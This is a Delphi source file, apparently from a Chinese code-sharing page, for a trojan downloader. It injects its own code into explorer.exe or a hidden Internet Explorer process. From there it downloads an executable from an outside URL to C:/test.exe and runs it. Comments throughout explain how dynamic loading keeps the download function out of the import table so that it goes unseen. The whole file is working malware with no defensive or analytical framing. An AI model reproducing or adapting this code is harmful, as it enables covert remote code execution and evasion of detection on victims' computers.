学步园

program InjectTheSelf;

{$IMAGEBASE $13140000}

uses Windows;

{$L 'SRT.obj'}

var
  //动态加载shell32.dll中的ShellExecuteA函数～嘿嘿懒得加载ShellAPI单元了～又减小一点空间～
  ShellRun:function (hWnd: HWND; Operation, FileName, Parameters,Directory: PChar; ShowCmd: Integer):Cardinal; stdcall;
  //动态加载Urlmon.dll中的UrlDownloadToFileA函数～还有个好处就四IAT中看不见这个函数名称～哈哈～
  Downfile:function (Caller: pointer; URL: PChar; FileName: PChar; Reserved:LongWord; StatusCB: pointer): Longint; stdcall;
  hShell,hUrlmon: THandle;

function GetIEAppPath:string;
var
  iekey: Hkey;
  iename: array [0..255] of char;
  vType,dLength :DWORD;
begin
  vType := REG_SZ;
  RegOpenKeyEx(HKEY_LOCAL_MACHINE,'Software/Microsoft/Windows/CurrentVersion/App Paths/IEXPLORE.EXE',0,KEY_ALL_ACCESS,iekey);
  dLength := SizeOf(iename);
  if RegQueryValueEx(iekey, '' , nil, @vType, @iename[0], @dLength) = 0 then
    Result := iename
  else
    Result := 'C:/Program Files/Internet Explorer/IEXPLORE.EXE';
  RegCloseKey(iekey);
end;

procedure Download;  //下载过程
begin
  LoadLibrary('kernel32.dll');
  LoadLibrary('user32.dll');
  hShell:=LoadLibrary('Shell32.dll');
  hUrlmon:=LoadLibrary('urlmon.dll');
  @ShellRun:= GetProcAddress(hShell,'ShellExecuteA');
  @Downfile:= GetProcAddress(hUrlmon,'URLDownloadToFileA');
  Downfile(nil,'http://aryuan.51.net/test.exe','C:/test.exe', 0, nil);
  ShellRun(0,'open','C:/test.exe',nil,nil,5);
  ExitProcess(0);
end;

procedure Inject(ProcessHandle: longword; EntryPoint: pointer);
var
  Module, NewModule: Pointer;
  Size, BytesWritten, TID: longword;
begin
  //这里得到的值为一个返回指针型变量,指向内容包括进程映像的基址
  Module := Pointer(GetModuleHandle(nil));
  //得到内存映像的长度
  Size := PImageOptionalHeader(Pointer(integer(Module) + PImageDosHeader(Module)._lfanew +
          SizeOf(dword) + SizeOf(TImageFileHeader))).SizeOfImage;
  //在Exp进程的内存范围内分配一个足够长度的内存
  VirtualFreeEx(ProcessHandle, Module, 0, MEM_RELEASE);
  //确定起始基址和内存映像基址的位置
  NewModule := VirtualAllocEx(ProcessHandle, Module, Size, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  //确定上面各项数据后,这里开始进行操作
  WriteProcessMemory(ProcessHandle, NewModule, Module, Size, BytesWritten);
  //建立远程线程,至此注入过程完成
  CreateRemoteThread(ProcessHandle, nil, 0, EntryPoint, Module, 0, TID);
end;

procedure RunInject(InjType:integer);
var
  ProcessHandle, PID: longword;
  StartupInfo: TStartupInfo;
  ProcessInfo: TProcessInformation;
begin
  if InjType=0 then //注入explorer.exe
  begin
    //获取Exp进程的PID码,Shell_TrayWnd为类名,相关的需用SPY++来查看
    GetWindowThreadProcessId(FindWindow('Shell_TrayWnd', nil), @Pid);
  end
  else  //注入iexplore.exe
  begin
    //CreateProcess(nil,PChar(GetIEAppPath), nil, nil, False, 0, nil, nil, StartupInfo, ProcessInfo);
    winexec(PChar(GetIEAppPath),sw_hide);
    sleep(500);
    GetWindowThreadProcessId(FindWindow('IEFrame', nil), @Pid);
  end;
  //打开进程
  ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, PID);
  Inject(ProcessHandle, @Download);
  //关闭对像
  CloseHandle(ProcessHandle);
end;

begin
  RunInject(1);  //1 注入iexplore.exe 0 注入explorer.exe
end.